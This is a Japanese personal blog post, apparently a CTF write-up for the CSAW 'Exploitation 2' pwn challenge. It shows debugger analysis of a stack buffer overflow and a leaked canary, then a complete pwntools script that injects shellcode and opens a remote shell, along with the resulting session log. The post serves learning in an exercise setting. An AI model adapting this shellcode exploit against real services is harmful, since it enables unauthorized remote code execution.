mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby Exploitation2

更新出来ていなかったけど,今日からまた再開.
Exploitation2,3,4,babyecho,r0pbabyまでは解いているので,復習がてらそれぞれの問題を今後まとめていく.

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ file exploit2 | sed -e "s/,/\n/g"
exploit2: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906
 not stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   exploit2

SSP,NXが無効.

解析

実行ファイルをstraceを利用して起動するとポート31338で接続を待ち受けていることがわかるのでncコマンドで接続.
接続するとexploit入力してねと言われ,入力できる.何かしら入力するとプログラムが終了する.

�����Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

いろいろ入力を試しても特にバグっぽいのが見つからない.「Welcome to ~」の前の文字化けが気になるところ.解析していく.

入力用に確保した領域を超えて入力が取れるためEBPを入力で書き換えることが可能.
つまり0x80c+4を超える文字を入力すればリターンアドレスを書き換えられる.

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0xffffc82c (0xffffc82c)
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7fb9000 --> 0x1afdb0 
EDI: 0xffffd02c --> 0x662f2dbc 
EBP: 0xffffd038 --> 0xffffd148 --> 0x0 
ESP: 0xffffc810 --> 0x4 
EIP: 0x80488f5 (<handle+232>:	call   0x8048700 <recv@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488e5 <handle+216>:	lea    eax,[ebp-0x80c] # 入力の値用に0x80c呂域確保
   0x80488eb <handle+222>:	mov    DWORD PTR [esp+0x4],eax
   0x80488ef <handle+226>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80488f2 <handle+229>:	mov    DWORD PTR [esp],eax
=> 0x80488f5 <handle+232>:	call   0x8048700 <recv@plt> #入力範囲が0x1000と確保した領域より大きく取れる.
   0x80488fa <handle+237>:	mov    BYTE PTR [ebp-0xd],0x0
   0x80488fe <handle+241>:	mov    edx,DWORD PTR [ebp-0xc]
   0x8048901 <handle+244>:	mov    eax,ds:0x804a074
   0x8048906 <handle+249>:	cmp    edx,eax
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffc82c (0xffffc82c)
arg[2]: 0x1000 
arg[3]: 0x0 

ただし,このプログラムは入力を受け取ったあとに,cmp命令で0x804a074の値(eax)とebp-0xcの値(ebp)を比較していた.

[----------------------------------registers-----------------------------------]
EAX: 0x10 
EBX: 0xffffc82c ('A' <repeats 13 times>, "aa\n")
ECX: 0x0 
EDX: 0x662f2dbc 
ESI: 0xf7fb9000 --> 0x1afdb0 
EDI: 0xffffd02c --> 0x662f2dbc 
EBP: 0xffffd038 --> 0xffffd148 --> 0x0 
ESP: 0xffffc810 --> 0x4 
EIP: 0x8048901 (<handle+244>:	mov    eax,ds:0x804a074)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488f5 <handle+232>:	call   0x8048700 <recv@plt>
   0x80488fa <handle+237>:	mov    BYTE PTR [ebp-0xd],0x0
   0x80488fe <handle+241>:	mov    edx,DWORD PTR [ebp-0xc]
=> 0x8048901 <handle+244>:	mov    eax,ds:0x804a074
   0x8048906 <handle+249>:	cmp    edx,eax
   0x8048908 <handle+251>:	je     0x8048921 <handle+276>
   0x804890a <handle+253>:	mov    eax,DWORD PTR [ebp+0x8]
   0x804890d <handle+256>:	mov    DWORD PTR [esp],eax

アセンブルしたコードを見ていると,どうやらプログラムが走るたびに比較用の値をrand関数を用いて生成しているらしい.比較用の値が一致していないとプログラムが正常に終了しないため,リターンアドレスを書き換えようとして大量に文字を送ると比較用の値も書き換わってしまいEIPをうまく奪えない.

ここで例の文字化けした値を見てみると,比較用の値と入力を格納しているスタックのアドレスであることがわかった.

ということで,これで問題なくEIPを奪える.

Exploit

NX無効なので入力を格納しているスタックにシェルコード積んで実行してやれば良い.
比較用の値の位置を注意してExploitを書く.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 31338

#context.log_level = 'debug'
conn = remote(host, port)

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

input_addr = conn.recv(4) #入力の格納先アドレス
key = conn.recv(4) # 比較用の値
print hex(u32(input_addr))
print hex(u32(key))


payload = shellcode
payload += "A" * (2048 - len(shellcode))
payload += key  
payload += "A" * 12
payload += input_addr 
payload += "\n"

conn.recv()
conn.send(payload)
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ python exploit.py 
[+] Opening connection to localhost on port 31338: Done
0xffffc82c
0x7d8a854d
[*] Switching to interactive mode
$ ls
dump
exploit.py
exploit2
peda-session-exploit2.txt